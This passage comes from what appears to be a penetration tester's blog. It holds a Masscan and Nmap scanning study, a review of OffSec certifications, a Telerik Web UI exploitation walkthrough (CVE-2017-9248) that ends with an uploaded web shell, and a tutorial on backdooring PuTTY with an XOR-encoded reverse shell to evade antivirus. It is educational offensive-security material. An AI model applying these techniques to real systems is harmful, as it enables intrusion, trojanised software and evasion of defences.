Split 1-65535 port range into several ranges, and run X concurrent Masscan jobs, each with Y rate.

Nmap:

Regular scan of all TCP ports.
Scan of all TCP ports using X concurrent jobs.
Scan on the combined list of open ports and hosts identified by Masscan.
Scan on the specific open ports on specific hosts identified by Masscan.

It’s impossible to cover every variations/combinations of options in a limited period of time, thus only the above were covered.

For test cases which use concurrent jobs, GNU Parallel was used. If you’re new to this tool, please check this detailed tutorial.

Scope and Limitations

The research was conducted using the following versions of the tools: Nmap v7.70 and Masscan v1.0.5-51-g6c15edc.
This research only covered IPv4 addresses.
Scanning of UDP ports was not included.
Only the most popular and open source tools were used. (Zmap was not included since it can only scan one port at a time; resulting in a very slow scan even when multiple jobs are being run.)
Only 4 target networks were probed and they were all /16.
Port scanning came from only one machine with one IP address located in a fixed location.
Masscan rate was limited to 250kpps (packets per second) only since the scanning machine does not support PF_RING.
Not all combinations of test cases were conducted due to limited resources (doing so is very time consuming).

Masscan Test Cases & Results

This section details the different test cases performed with Masscan and their results.

Test Case #1: Regular scan of all TCP ports with varying rates

There’s nothing special with this test case. This is just a normal scan using Masscan but with varying rates.

The following command was used to initiate the scan for this test case:

masscan -p 1-65535 --rate RATE--wait 0 --open TARGET_SUBNET -oG TARGET_SUBNET.gnmap

Rates Used:

1M
100K
50K

During the experiment, the maximum rate that my VPS can run is only around 250kpps. This is because the scanning machine does not support PF_RING.

Charts:

Observation:

Slower rate results into more open ports, but at the expense of a longer scanning time.

Test Case #2: Split the /16 target subnet into chunks of /20, and run X concurrent Masscan jobs, each with Y rate

To be able to run concurrent jobs, I decided to split the /16 target subnet into smaller subnets. You can split them into other smaller subnets such as /24, but for this research I used /20.

To split the target network into smaller subnets, the following python code was utilized:

#!/usr/bin/python3
import ipaddress, sys

target = sys.argv[1]
prefix = int(sys.argv[2])

for subnet in ipaddress.ip_network(target).subnets(new_prefix=prefix):
    print(subnet)

Here’s a snippet of what the above code does:

The rates used for each job were based on the idea of maximizing the rate that the scanning machine can handle. In my case, my scanning machine can only handle 250kpps so if I’m going to run 5 parallel jobs, each job can use a rate of 50kpps.

Since the maximum rate of a machine is not “absolute” (not exactly 250kpps in this case), you can set the rate of each job so the total rate would be equal to 80-90% of the maximum rate.

For this test case, the below command was executed. The smaller subnets outputted by split.py were used by parallel as inputs to run concurrent jobs.

python3 split.py TARGET_SUBNET 20 | parallel -j JOBS "masscan -p 1-65535 --rate RATE--wait 0 --open {} -oG {//}.gnmap"

Here’s what the above command does when executed. In this instance, 20 Masscan jobs, each with 10kpps rate, were running at the same time.

Rates and Jobs Used:

5 jobs each w/ 100k rate
5 jobs each w/ 50k rate
20 jobs each w/ 10k rate

Notes:

I miscalculated the rate for the first rate & job variation (5 jobs each w/ 100k rate) since its total rate is 500kpps while my machine can only handle 250kpps. Nonetheless, the result is still valuable as you will see in the charts below.

Other combinations such as 10 jobs each w/ 20k rate is doable, however I can’t cover all possible combinations due to limited time and budget.

Charts:

Observations:

Running concurrents jobs took 2-3 times faster than the regular scan (Test Case #1), but results into fewer open ports.
Using the scanning machine’s maximum rate capacity results into fewer open ports (5 jobs each w/ 100k rate).
Fewer jobs with high rate (5 jobs each w/ 50k rate) is better than more jobs with low rate (20 jobs each w/ 10k rate).

Test Case #3: Split 1-65535 port range into several ranges, and run X concurrent Masscan jobs, each with Y rate

The 3rd test case tries to solve Masscan’s issue when scanning large port ranges, especially the entire 1-65535 port range. The solution that I came with is to split the 1-65535 range into smaller ranges.

Just like in the previous test case, the combination of jobs and rates used were based on the idea of using a total rate of 80-90% of the maximum capacity.

The command below was used to for this test case. The PORT_RANGES contains the list of port ranges and they are used as inputs to parallel for simultaneous tasks.

cat PORT_RANGES | parallel -j JOBS "masscan -p {} --rate RATE --wait 0 --open TARGET_SUBNET -oG {}.gnmap"

The 1-65535 port range was split into 4 ways as shown below and each split contains combinations/variations of jobs and rates.

Split #1: 5 Port Ranges

1-13107
13108-26214
26215-39321
39322-52428
52429-65535

Rates and Jobs Used:

5 jobs each w/ 50k rate
2 jobs each w/ 100k rate

Charts:

Split #2: 2 Port Ranges

1-32767
32768-65535

Rates and Jobs Used:

2 jobs each w/ 100k rate
2 jobs each w/ 125k rate

Charts:

Split #3: 8 Port Ranges

1-8190
8191-16382
16383-24574
24575-32766
32767-40958
40959-49151
49152-57343
57344-65535

Rates and Jobs Used:

4 jobs each w/ 50k rate
2 jobs each w/ 100k rate

Charts:

Split #4: 4 Port Ranges

1-16383
16384-32767
32768-49151
49152-65535

Rate and Job Used:

2 jobs each w/ 100k rate

The reason I only used one combination for the 4-port range split was because I realized that I already exceeded my monthly bandwidth limit. As a result, I had to pay $100+ more.

Charts:

Observations:

The observations listed below cover all 4 splits mentioned above.

Splitting port ranges result into more open ports (this solves Masscan’s issue when using large port ranges).
Using fewer parallel jobs (2 jobs in this case) results into more open ports.
Among the splits that were tested, the 5 port range split (Split #1) yields the best result.

Raw Data

The following table shows the raw data from the experiments performed using the different Masscan test cases mentioned above.

Masscan Conclusion

Based on the results from the test cases performed with Masscan, the following were concluded:

Running the scanning machine at 100% CPU utilization results into less open ports.
Using the machine’s maximum rate capacity results into less open ports.
When using parallel tasks, fewer jobs results into more open ports.
Splitting port ranges is better than splitting the target subnet.
A port range split of 4 to 5 yields (Split #1 and #4) the best results.

Nmap Test Cases & Results

In this phase, only version scanning was performed and the use of Nmap’s NSEs, OS guess, and other scanning features were not included. Nmap threads were also limited to T4 which does the equivalent of:

--max-rtt-timeout=1250ms --min-rtt-timeout=100ms --initial-rtt-timeout=500ms --max-retries=6 --max-scan-delay=10ms  

The following Nmap options were also used to mimic the options used by Masscan. These options were applied to all Nmap test cases.

Options Used:

SYN scan (-sS)
Version scan (-sV)
Threads (-T4)
Randomize target hosts order (--randomize-hosts)
No ping (-Pn)
No DNS resolution (-n)

Test Case #1: Regular scan of all TCP ports

This test case is just a normal scan using Nmap so there’s nothing special in it.

The command used for this test case was:

sudo nmap -sSV -p- -v --open -Pn -n --randomize-hosts -T4 TARGET_SUBNET -oA OUTPUT

Observations:

After 4.5 days of scanning, the job is still not finish. This is one of the CONS mentioned above; Nmap is very slow when scanning large target networks.
I decided to cancel this test case due to very slow performance.

Test Case #2: Scan of all TCP ports using X concurrent jobs

In this case, I attempted to solve Nmap’s slow performance by running concurrent Nmap scans. This was done by splitting the target subnet into smaller chunks just like what I did with Masscan above. Again, the python code split.py below was used to split the target subnet.

#!/usr/bin/python3
import ipaddress, sys

target = sys.argv[1]
prefix = int(sys.argv[2])

for subnet in ipaddress.ip_network(target).subnets(new_prefix=prefix):
    print(subnet)

The following shows the command used for this test case:

python3 split.py TARGET_SUBNET 20 | parallel -j JOBS "sudo nmap -sSV -p- -v --open -Pn -n --randomize-hosts -T4 {} -oA {//}"

For this test case, I decided to run two instances of parallel jobs which can found below.

Using 5 Concurrent Jobs: /16 target subnet split into /20 subnets

Observation:

Very slow as well. Scan is still not finish after 2.8 days so I canceled it.

Using 64 Concurrent Jobs: /16 target subnet split into /24 subnets

Observation:

Five days have passed and the scan is still not finish so I canceled it too.

Test Case #3: Scan on the combined list of open ports and hosts identified by Masscan

The idea behind this test case is to first get a list of hosts and a combined list of open ports that were detected by Masscan. This combined list of open ports was used as the baseline (shown as green bar on the charts below) to determine whether the Nmap test cases below could detect more or less open ports.

For example, Masscan detected 300 open ports while regular Nmap scan detected 320 open ports. But when using 5 concurrent Nmap scans, only 295 open ports were detected. This means that the regular Nmap scan is the better option.

To get the list of hosts from Masscan’s output, the following command was used:

grep "Host:" MASSCAN_OUTPUT.gnmap | cut -d " " -f2 | sort -V | uniq > HOSTS

The following image shows the above command in action.

The command below was used to get the combined list of all open ports detected by Masscan.

grep "Ports:" MASSCAN_OUTPUT.gnmap | cut -d " " -f4 | cut -d "/" -f1 | sort -n | uniq | paste -sd, > OPEN_PORTS

The following shows the command in action.

This command was used to run a regular Nmap scan.

sudo nmap -sSV -p OPEN_PORTS -v --open -Pn -n --randomize-hosts -T4 -iL HOSTS -oA OUTPUT

While the following was used to run concurrent Nmap scans. This uses the list of hosts and combined list of open ports produced by the commands above.

cat HOSTS | parallel -j JOBS "sudo nmap -sSV -p OPEN_PORTS -v --open -Pn -n --randomize-hosts -T4 {} -oA {}"

Jobs Used:

0 (this is a regular Nmap scan)
10
50
100

Charts:

Observations:

When running a regular Nmap scan, CPU utilization was around 10% only.
A regular Nmap scan discovered more open ports, while concurrent Nmap scans discovered less open ports.
Compared to the baseline (green bar on the chart), more open ports were identified on some target network (Subnet A), while less open ports were detected on others (Subnet B and C), and there’s not much difference on some network (Subnet D).

The Additional Open Ports Detected by Nmap

Take a look first at the table below. Let’s say for example that Masscan detected the following open ports (column 2) on each host. The combination of all open ports detected by Masscan will be used as the target ports when running an Nmap scan (column 3).

In our example, new open ports were detected (bold texts in column 4) by Nmap after finishing its scan. How did it happen? Masscan being an asynchronous scanner, it is possible that port 22 was missed on hosts 192.168.1.2 and 192.168.1.3. Since we combined all detected open ports on every hosts and used them as the target ports for Nmap, this missed port (22) will be probe again. The caveat is that there’s no assurance that Nmap will be able to detect it as open as there are other factors that might affect the scan.

Hosts	Open Ports Detected by Masscan	Target Ports During Nmap Scan	Open Ports Detected After Running Nmap
192.168.1.1	22,80,443	22,80,443,8080,8888	22,80,443
192.168.1.2	8080,8888	22,80,443,8080,8888	22,8080,888
192.168.1.3	80,443	22,80,443,8080,8888	22,80,443

Test Case #4: Scan on the specific open ports on specific hosts identified by Masscan

This one is somewhat similar from the previous test case. Here, I didn’t combine all the open ports detected by Masscan from each host. Whatever open ports were detected by Masscan on a particular host, the same ports will be used by Nmap. The following table illustrates what was done for this test case.

Hosts	Open Ports Detected by Masscan	Target Ports During Nmap Scan
192.168.1.1	22,80,443	22,80,443
192.168.1.2	8080,8888	8080,8888
192.168.1.3	80,443	80,443

The following command was used to get the list of hosts.

cat MASSCAN_OUTPUT.gnmap | grep Host | awk '{print $2,$5}' | sed 's@/.*@@' | sort -t' ' -n -k2 | awk -F' ' -v OFS=' ' '{x=$1;$1="";a[x]=a[x]","$0}END{for(x in a) print x,a[x]}' | sed 's/, /,/g' | sed 's/ ,/ /' | sort -V -k1 | cut -d " " -f1 > HOSTS

Image here shows what the command does.

To get the list of open ports from each host, the following command was executed.

cat MASSCAN_OUTPUT.gnmap | grep Host | awk '{print $2,$5}' | sed 's@/.*@@' | sort -t' ' -n -k2 | awk -F' ' -v OFS=' ' '{x=$1;$1="";a[x]=a[x]","$0}END{for(x in a) print x,a[x]}' | sed 's/, /,/g' | sed 's/ ,/ /' | sort -V -k1 | cut -d " " -f2 > OPEN_PORTS

Here’s what the command does.

As you can see, the output is different from the command used in Test Case #3. Instead of combining all the open ports, we created a list of all open ports found from each host.

These two lists were then used as inputs to parallel, using the option ::::, to run simultaneous Nmap scans.

Again, if you’re not familiar with GNU Parallel, please take a look at this tutorial.

parallel -j JOBS --link "sudo nmap -sSV -p {2} -v --open -Pn -n -T4 {1} -oA {1}" :::: HOSTS :::: OPEN_PORTS

This is an example of what happens, based on the two images above, when the above parallel command was executed to initiate simultaneous scans.

sudo nmap -sSV -p 443 -v --open -Pn -n -T4 192.168.1.2 -oA 192.168.1.2
sudo nmap -sSV -p 80,443,1935,9443 -v --open -Pn -n -T4 192.168.1.5 -oA 192.168.1.5
sudo nmap -sSV -p 80 -v --open -Pn -n -T4 192.168.1.6 -oA 192.168.1.6
sudo nmap -sSV -p 80,443 -v --open -Pn -n -T4 192.168.1.7 -oA 192.168.1.7
sudo nmap -sSV -p 08,443 -v --open -Pn -n -T4 192.168.1.9 -oA 192.168.1.9

The following image shows a snippet of what happened when the test case was executed. As seen below, 10 concurrent Nmap scans are running using parallel.

Jobs Used:

Charts:

Observations:

More concurrent jobs and running the machine at 100% CPU utilization yield fewer open ports.
There’s not much difference between 10 and 50 parallel Nmap scans so it’s recommended to run 50 parallel jobs to reduce the scanning time.
This test case is slightly faster than Test Case #3 but less open ports were detected.

Raw Data

The following table shows the raw data from the experiments performed using the different Nmap test cases mentioned above.

Nmap Conclusion

Based on the results with the experiments performed with Nmap, the following were concluded:

Running an Nmap scan using the combined open ports identified by Masscan (Test Case #3) yields the best results. It’s also the recommended method due to the potential of discovering additional open ports.
Running the machine at 100% CPU utilization results into fewer open ports.
When using parallel tasks, fewer jobs results into more open ports.

Research Conclusion

Recommended Approach

Based on the results from the test cases conducted for both Masscan and Nmap, the following are recommended to obtain a balanced approach between speed and accuracy during an Internet-wide port scanning:

First run a 2 or 3 concurrent Masscan jobs with all 65535 ports split into 4-5 ranges.
Get a list of hosts and and a combined list of open ports from Masscan’s output.
Use these list as input to Nmap and do a regular Nmap scan.

Precautions

For both tools, the following precautions should be taken as they will result into fewer open ports being detected:

Avoid overloading the CPU when scanning.
Do not use scanning machine’s maximum rate capacity.
Refrain from running too many parallel tasks.

Final Thoughts

While this research provided an approach on how to balance the speed and accuracy during an Internet-wide port scanning, readers should not take the conclusions here as 100% reliable. Several factors were not included during the research due to limited time and budget. Most notably, the use of only one IP address during the entire research period was not a good setup. Since I was scanning the same target networks for several times, it is possible that the scanning machine’s IP address got blacklisted somehow which can cause inconsistencies with the number of open ports being detected.

Please revisit the Scope and Limitations section as it provides a good insight on some of the factors that might affect the result of this research.

Closing

That’s it for this post! Thanks for reading this lengthy post and happy hacking!

OffSec Certs - Are They Still Worth the Money?

Wed, 16 Jan 2019 00:00:00 +0000

Introduction

Offensive Security certifications are very popular and are sought-after courses/certifications by people who are interested in the offensive side of information security. Until now, people are still willing to spend their money to take the courses and pass the certifications. However, several companies out there are establishing their own hacking courses/certifications/labs, and they’re starting to become popular among the folks of the penetration testing community. With the rise of several courses, the question is “Are Offensive Security courses/certifications still worth the price?” Or is it wiser to spend money elsewhere?

I think it’s time to write my thoughts about them now that I have completed OSCE, OSCP, and OSWP certifications.

Take note that everything written here is based on my own opinion and views. I do not have any intention to discourage people from taking Offensive Security’s courses and certifications. No hate or bitterness against Offensive Security.

OSCP

Let’s start with the most popular certification of Offensive Security - OSCP. This is the most sought-after certification by people who want to get into penetration testing. Nowadays, everyone want this certification on their CV because of the higher chance of acceptance in the hiring process. Almost every job posting for a pentest position requires OSCP certification. The course material is great and it teaches the skills, mindset, and methodology needed to get the students started with their hacking journey. However, the material is limited. Based on my experience, I was not able to utilized what I learned from this course when I started doing internal network and active directory pentesting. While the lab teaches students how to pivot from one machine/network to another, the lab still doesn’t mimic the real-world corporate environment. The course does not cover Man-in-the-Middle attacks as well, which is the most common attack used by pentesters when doing an internal network testing.

In my opinion, if you’re the kind of person who’s after for the knowledge and skills, and don’t mind having the certification, it’s better to check Hack The Box (HTB). You’ll find that the machines in HTB is similar to the PWK lab. Another great thing is that HTB is way cheaper than PWK lab. Also, if you want to practice your active directory pentesting skills, HTB has the Pro labs Offshore and RastaLabs. If students could only pay for the exam (excluding the course/lab), then they could save some money by doing HTB instead of the PWK lab as preparation for the exam.

You can also check Pentester Academy’s Windows Red Team Lab which focuses on red teaming. I haven’t signed up to this course yet, but I heard a lot of good things about it. It’s kind of pricey though compared to HTB’s Pro labs.

OSCE

OSCE is my latest certifcation. The exploit development section of the CTP course focuses only on Windows environment. Some might think it’s one of the weaknesses of this course, but for me, it’s not. I don’t mind if exploit development on Linux environment isn’t covered. My biggest concern is the lack of value of the course material. We know that Offensive Security always want their students to do the extra mile and to “try harder” - meaning they expect us to research related materials about a topic, and not just rely on what is presented from the course material. I get their motives and even support the need to go the extra mile. My problem is that the information from the course is lacking, and there is no deep explanation of some of the topics. Since I paid for the course material, I expected to learn a lot from it. Unfortunately, that’s not the case. I learned and gained more knowledge from Corelan’s and FuzzySecurity’s tutorials, and from googling.

For me, the lab is a waste of money because you don’t need lab access to practice what’s being taught in the course. If you refer to the syllabus, you can easily set up your own lab environment by spinning up some VMS and installing vulnerable softwares. This is what I did - before signing up to the course, I practiced on my own lab by following the syllabus provided by Offensive Security. I highly recommend doing this especially for those who have a slow network connection like mine. With these, I think the CTP course is not worth taking. If there’s an option to pay only for the exam (excluding the course), I would definitely do it.

The exam is a different scenario. I find it gruelling and challenging, yet at the same time enjoyable. If you’re like me who’s not very experienced in exploit development, you’ll learn new things while doing the exam. I can say that taking the exam is worth the money, time, and effort.

OSWP

With all honesty, I took OSWP for the sake of having it on my CV. As we all know, the contents of this course are very outdated. While the course teaches you the knowledge you need, the value you’re getting is minimal. I recommend you just spend your money on other courses like Pentester Academy’s Wi-Fi Security and Pentesting as you’ll learn more from this course as Vivek really spends his time and effort in explaining the topic deeply.

Another issue I have with this certification is that the name is misleading. OSWP stands for Offensive Security Wireless Professional, and yet the course only teaches you about WiFi. It would have been better if the course includes Bluetooth, Zigbee, RFID, Smart Cards, NFC, SDR, and other wireless technologies.

If you have the money and wanted to learn more about wireless hacking (aside from WiFi), I think the SANS SEC617 course is worth taking. If you don’t want to spend on expensive courses, you can sign up to Pentester Academy and take their Wi-Fi Security and Pentesting course. If you are cheap and don’t want to spend at all, just watch some videos on Youtube, and read blogs. Several tutorials on the web are out there waiting for you to read and watch.

Among Offensive Security’s courses, I think this is the most disappointing and not worth-taking.

How About OSWE and OSEE?

I haven’t taken these courses/certifications since they’re not yet available online. However, there’s a rumor on reddit that the AWAE course will become online. I also heard that the course is now being updated. Since I haven’t taken the course yet, I don’t have much to say about it. I’ll definitely take this course for the sake of having it on my CV. If you can’t wait for the online version of AWAE course, and don’t want to spend thousands of dollars, I suggest you take a look at PentesterLab Pro.

For AWE/OSEE, I don’t have much to say as well since I haven’t taken the course/certification yet. Regarding the course’s online availability, I read from Jollyfrog’s blog that it will be online by early 2020. However, some said that the online version might not happen since the course is being updated yearly. I also heard that this is the hardest exploit development course. If you’re looking for a prep course, I think Prace Security’s Advanced Software Exploitation is good based on its syllabus. I also haven’t taken this course yet so no review about it.

Again, these are just my opinions since I haven’t taken both AWAE and AWE courses. But I’ll definitely take them to complete all of Offensive Security’s certification. Gotta catch ‘em all!

Conclusion

If you love challenges and really need the certifications on your CV, go ahead and take the Offensive Security courses. For me, I’m still going to take Offensive Security certifications because they don’t expire and are still valuable in my CV. However, if you are the type of person who always want the best value out of their pocket, I suggest you consider other available courses.

Another thing, people should always choose knowledge and skills over certification. I know a lot of people who are not certified but are very skilled and talented in the infosec field, thus making them more valuable than those who are certified. It’s not just about the certifications that you can add in your CV and hang in your wall, but it’s more about the skills and the knowledge that you can gain. Take the course for the sake of knowledge and skills, not just for the sake of being certified.

If you’re like me who does not earn much and who is frugal, keep on searching the web for a particular topic that you need and want to learn. There are a lot of people/companies who freely provide tutorials, writeups, and courses. Good examples of these are Open Security Training and Sam Bowne. Remember, Google is your friend so be resourceful.

Pwning Web Applications via Telerik Web UI

Fri, 03 Aug 2018 00:00:00 +0000

Introduction

Over the past months, I’ve encountered a number of web applications that were using Telerik Web UI components for their application’s interface. There’s nothing wrong with using third party components to make your application’s interface the way you want it. However, a vulnerability in these components could cause you harm.

In this post, I’m going to show you how I pwned several web applications, specifically ASP.NET ones, by abusing an outdated version of Telerik Web UI.

Identification

The simplest way to check if the application is using Telerik Web UI is to view its HTML source code.

TIP #1: There are times where you’ll not find exactly the string Telerik.Web.UI from the HTML code. However, if you find the string Telerik, just keep on browsing the other pages of the application and search for the string Telerik.Web.UI again.

If you’ve identified that the application is using Telerik Web UI, the next step is to identify its version and check if it’s vulnerable to CVE-2017-9248.

Finding the version can either be easy or tricky. To get the exact version, just view the HTML code. In the case below, the version information sits right next to the string Telerik.Web.UI. That’s easy.

However, there are cases where the version is not located right next to the string “Telerik.Web.UI”. Another way to identify the version of Telerik Web UI is by going through the HTML comments just like here.

Once you have the version information, cross-reference it with the list of vulnerable versions. Based on the exploitation tool written by Paul Taylor (@bao7uo), the following versions are affected:

1423        2008.31314       2010.31317        2013.1.403        2015.2.729
1521        2009.1311        2011.1315         2013.1.417        2015.2.826
1626        2009.1402        2011.1413         2013.2.611        2015.3.930
2918        2009.1527        2011.1519         2013.2.717        2015.3.1111
2101        2009.2701        2011.2712         2013.3.1015       2016.1.113
21107       2009.2826        2011.2915         2013.3.1114       2016.1.225
31218       2009.31103       2011.31115        2013.3.1324       2016.2.504
31314       2009.31208       2011.3.1305       2014.1.225        2016.2.607
31425       2009.31314       2012.1.215        2014.1.403        2016.3.914
1415        2010.1309        2012.1.411        2014.2.618        2016.3.1018
1515        2010.1415        2012.2.607        2014.2.724        2016.3.1027
1619        2010.1519        2012.2.724        2014.3.1024       2017.1.118
2723        2010.2713        2012.2.912        2015.1.204        2017.1.228
2826        2010.2826        2012.3.1016       2015.1.225        2017.2.503
21001       2010.2929        2012.3.1205       2015.1.401        2017.2.621
31105       2010.31109       2012.3.1308       2015.2.604        2017.2.711
31125       2010.31215       2013.1.220        2015.2.623        2017.3.913

Exploitation

Before jumping to the exploitation, we have to locate first the “Dialog Handler” Telerik.Web.UI.DialogHandler.aspx. Most of the time, it’s located at the root directory of the application. If it’s not there, try the sub-directories. To verify if you’ve found the right location, you should see the string “Loading the dialog…” when accessing the dialog handler.

TIP #2: Sometimes, the sub-directory where the dialog handler is located (or where Telerik Web UI is located in general) can be found from the HTML source code.

For the exploitation, use the tool written by Paul Taylor which can be downloaded here. Credits and big thanks to him for writing this one.

Here’s an example of the tool running to bruteforce the key and discover the hidden link to access the Document Manager page.

root@kali:~# python dp_crypto.py -k http://www.example.com/Telerik.Web.UI.DialogHandler.aspx 48 hex 9

dp_crypto by Paul Taylor / Foregenix Ltd
CVE-2017-9248 - Telerik.Web.UI.dll Cryptographic compromise

Attacking http://www.example.com/Telerik.Web.UI.DialogHandler.aspx
to find key of length [48] with accuracy threshold [9]
using key charset [01234567890ABCDEF]

Key position 01: {D} found with 31 requests, total so far: 31
Key position 02: {3} found with 10 requests, total so far: 41
Key position 03: {A} found with 35 requests, total so far: 76
Key position 04: {D} found with 46 requests, total so far: 122
<------------------------ SNIPPED ------------------------>
Key position 45: {B} found with 50 requests, total so far: 1638
Key position 46: {3} found with 36 requests, total so far: 1674
Key position 47: {3} found with 50 requests, total so far: 1724
Key position 48: {F} found with 57 requests, total so far: 1781
Found key: D3AD[redacted]B33F
Total web requests: 1781
2014.3.1024: http://www.example.com/Telerik.Web.UI.DialogHandler.aspx?DialogName=DocumentManager&renderMode=2&Skin=Default&Title=Document%20Manager&dpptn=&isRtl=false&dp=[snipped&redacted]

By visiting the “Document Manager” link, we see that we now have access to all the files and folders of the web server. More importantly, we see that we can upload arbitrary files to the server.

Here’s an example of the shell cmd.aspx file that I uploaded.

And here’s an example of a command execution using the uploaded shell.

Telewreck

As part of my learning process, I decided to create a Burp Suite extension that can detect and exploit vulnerable instances of Telerik Web UI. I named it Telewreck and is available at https://github.com/capt-meelo/Telewreck.

When running a passive scan, this extension will look for vulnerable versions of Telerik Web UI.

A tab where you can perform the exploitation part is also available.

That’s it!

Feel free to contribute in the development of the tool and report/fix some issues.

[Backdoor 101] Backdooring PE File w/ User Interaction & Custom Encoder Using Existing Code Cave

Sat, 21 Jul 2018 00:00:00 +0000

Introduction

In the previous post, we backdoored a PE file by adding a new section (code cave) to the executable file. However, we encountered the following problems:

Putty won’t run until the shell has made a connection to our attacking machine.
We had a bad detection rate of 31/66.

In this post, we’ll try to fixe those issues. As we saw before, simply adding a section header to an executable causes the detection rate to go up. To avoid this, we’ll use a code cave which already exists in the PE file.

To resolve the issue with Putty’s execution, what we’re going to do is to trigger the shell upon user interaction. Specifically, the shell will be triggered once the victim tries to connect to an SSH server, by providing a valid IP address/host and clicking the Open button.

Again, we’ll use the same version of Putty which is v0.66. This version can be downloaded here. Before we start, let’s see the detection rate of the newly download Putty executable. 1/67 is pretty good.

Finding the User Interaction Program Flow

To determine the function responsible for the Open button, let’s observe what happens when we connect to a valid SSH server. For this post, we’ll be using scanme.nmap.org.

When we try to connect to the SSH server by clicking the Open button, a new window popped up with a string “login as:”.

Let’s search for a reference of this string by right-clicking and then going to Search for > All referenced text strings.

On the new window, right-click again and select Search for text.

Then type the string “login as:” and make sure that the checkboxes are ticked.

Now, let’s add a breakpoint at 0x00416FD1, where the string “login as:” was found.

Next, let’s press CTRL + L to see if there are other instances of the string that we’re looking. As seen, another instance was found at 0x0041CA9B. Let’s add another breakpoint at this address.

When we run the program, the breakpoint at 0x0041CA9B was hit. This means that this is the address that we’re after.

If we continue running the program, the login prompt pops up.

Since 0x0041CA9B is the start address that’s responsible for the Open button, this is where we will hijack the program’s flow. Before making any modifications to this address, let’s first save the first 3 instructions as a reference later for our cleanup code.

0041CA9B  |. 68 7C7C4600    PUSH putty.00467C7C                      ;  ASCII "login as: "
0041CAA0  |. 8941 04        MOV DWORD PTR DS:[ECX+4],EAX
0041CAA3  |. E8 3FF6FEFF    CALL putty.0040C0E7

Code Cave Mining

To make the code cave mining easier, let’s first generate a shell so we could identify its size, and use it as a reference for the code cave that we’re looking for. As seen below, the generated shellcode has a size of 324 bytes.

Instead of manually searching for code caves, let’s use Cave Miner which is available here. Since we already know the size of the shellcode, let’s search for a code cave that has a minimum size of 324 bytes. As seen, two code caves were found. The first one is only 331 bytes (0x0000014B), so we’ll use the second cave which has a size of 559 bytes (0x000002FF). This code cave starts at 0x0047A9E1.

Looking back the image above, we can see that our chosen code cave does not have executable privileges. To fix this, let’s use LordPE and edit the .data section, since this is where the code cave resides.

Click on the … and check the Executable as code checkbox. Once done, make sure to save the changes.

Hijacking the Program’s Execution Flow

Now, let’s hijack the instruction responsible for the Open button to make a jump to the start of our code cave at 0x0047A9E1. Let’s copy the changes to executable and save the file as putty1.exe.

As you can see, we have a neat code cave, ready to be injected with our shellcode. This is what our code cave looks like when the Putty is not running.

However, when Putty starts running, our code cave get’s mangled and some of the instructions were changed.

After some trial and error, I discovered that instructions starting at 0x0047AA10 does not change even when Putty is running. To reflect the new address of our code cave, let’s modify the jump instruction, from the Open button function, and save the new file as putty2.exe.

Just like in the previous post, let’s follow this structure inside our code cave:

PUSHAD                            # Save the registers
PUSHFD                            # Save the flags
...shellcode...       
STACK ALIGNMENT                   # Restore the stack to its previous value
POPFD                             # Restore the flags
POPAD                             # Restore the registers
...restore execution flow...

Now, let’s make the necessary changes inside our code cave by saving the registers and flags using PUSHAD; PUSHFD instructions. Then binary paste our shellcode and change the instruction DEC ESI into NOP just like before. Let’s save the modified file as putty3.exe.

For the stack alignment, let’s set a breakpoint before the first instruction of the shellcode gets executed. As seen below, ESP = 0012AC94. This will be the old value of ESP.

If we continue running the program, it will hang just like in the previous post.

To resolve the issue, just execute a command on our shell.

To get the new value of ESP, let’s set a breakpoint right after the last instruction of our shellcode. As seen, ESP = 0012AA98.

The next instruction that needs to be added in our code cave is our stack alignment code. Let’s first compute the difference between the old and new values of ESP: 0x0012AC94 - 0x0012AA98 = 0x1FC. To align the stack, let’s use the ADD ESP, 1FC instruction. After this, let’s restore the previous values of our registers and flags using POPFD; POPAD. Lastly, save the changes as putty4.exe.

When we run the updated PE file, we can see that we’re prompted for login credentials. This means that Putty is running fine and the execution flows normally.

Looking at our attacking machine, a shell was already established.

Let’s upload the modified file to VirusTotal. As seen, the detection rate somewhat improved. From 31/66 in the previous post, we now have a detection rate of 22/67.

Improving the Detection Rate by Using a Custom Encoder

Let’s try to have a better detection rate by encoding our shellcode using a custom encoder. The reason we’re encoding our shellcode is to bypass the static/signature analysis mechanisms of some AV products.

Going back to our code cave, we see that there’s still plenty of space available. We will use that space to place our code that will encode our shellcode.

During the encoding/decoding process, we might change some registers and/or flags which might cause some issues with how the program works. To be safe, we’ll move down our shellcode and insert our encoder/decoder after the PUSHAD; PUSHFD instructions. This is the updated structure of the code cave looks like:

PUSHAD                            # Save the registers
PUSHFD                            # Save the flags
...encoder/decoder...                     
...shellcode...       
STACK ALIGNMENT                   # Restore the stack to its previous value
POPFD                             # Restore the flags
POPAD                             # Restore the registers
...restore execution flow...

For our encoder/decoder, we’ll use an XOR algorithm due to its simplicity and symmetric property. Once we XOR (encrypt) a certain value with a key, we can simply obtain its original value (decrypt) by XORing the encrypted value with the same key. The following image shows how an XOR encoder/decoder works.

Credit goes to the original creator of this image.

This what our XOR encoder/decoder code looks like.

MOV EBX, 0x0047AA26                ; Place shellcode's start address in EBX
XOR BYTE PTR DS:[EBX], 0E          ; XOR the contents of EBX with using “0E” as key  
INC EBX                            ; Increase EBX
CMP EBX, 0x0047AB69                ; Did we reach the shellcode's last address?
JLE SHORT 0x0047AA17               ; If not, jump back to our XOR command
JMP 0x0047AA26                     ; If yes, we’re done and let’s jump to the start of our shellcode

This is what our updated code looks like. Let’s save the changes as putty5.exe.

Just like before, let’s get the old value of ESP. As seen here, ESP = 0012C94.

Let’s run our encoder and place a breakpoint before the jump to our shellcode gets executed. When the breakpoint is hit, we see that the instructions starting at 0x0047AA26 (our shellcode’s start address) changed. This means that our shellcode was already encoded. Let’s save the changes made to the shellcode and name it as putty6.exe.

Let’s open the updated PE file again and set a breakpoint right before the jump to our shellcode gets executed. As seen, the instructions starting at 0x0047AA26 changes to its original values. This means our decoder worked. To get the new value of ESP, let’s set a breakpoint at 0x0047AB6A, which is the address right after the last instruction of our shellcode. As seen, ESP = 0012AA98.

The difference between the old and new values of ESP is 0x1FC - the same as before. For our stack alignment and cleanup code, let’s do the following shown below. Then save the changes as putty7.exe.

Let’s run the updated PE file. As seen, the program’s execution flow is back to normal.

And a shell was obtained on our attacking machine.

Let’s see how we did in terms of the detection rate. From 22/67, we’re able to reduce it to 7/65. That’s a big improvement.

[Backdoor 101] Backdooring PE File by Adding New Section Header

Mon, 16 Jul 2018 00:00:00 +0000

Introduction

In this post, I’m going to discuss how to inject a shellcode in an executable file. I’m also going to discuss the problem that I encountered along the way, and the solutions that I came up with.

The executable file that I’m going to backdoor is Putty v0.66 which can be downloaded here.

